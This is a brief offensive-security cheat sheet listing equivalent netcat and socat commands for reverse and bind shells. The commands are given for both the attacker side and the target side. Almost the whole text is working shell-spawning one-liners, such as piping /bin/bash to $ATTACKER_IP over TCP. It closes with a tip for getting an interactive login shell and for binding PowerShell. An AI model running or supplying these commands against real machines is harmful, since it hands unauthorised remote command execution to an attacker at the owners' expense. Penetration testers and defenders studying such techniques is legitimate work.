Equivalent socat and netcat commands

socat ↔ netcat command equivalencies:

# Reverse shell (attacker)
#
nc -lnp $LISTENER_PORT
socat TCP-LISTEN:$LISTENER_PORT -
 
# Reverse shell (target)
#
nc $ATTACKER_IP $LISTENER_PORT -e /bin/bash
socat TCP:$ATTACKER_IP:$LISTENER_PORT EXEC:"/bin/bash -li"
 
# Bind shell (attacker)
#
nc $TARGET_IP $LISTENER_PORT
socat TCP:$TARGET_IP:$LISTENER_PORT
 
# Bind shell (target)
#
nc -lnp $LISTENER_PORT -e /bin/bash
socat TCP-LISTEN:$LISTENER_PORT EXEC:"/bin/bash -li"

socat gets us an interactive login shell right out the gate, though we’re still vulnerable to Ctrl+C. Note that when binding to PowerShell, use powershell.exe,pipes in order to force PowerShell to use UNIX-style STDIN/STDOUT.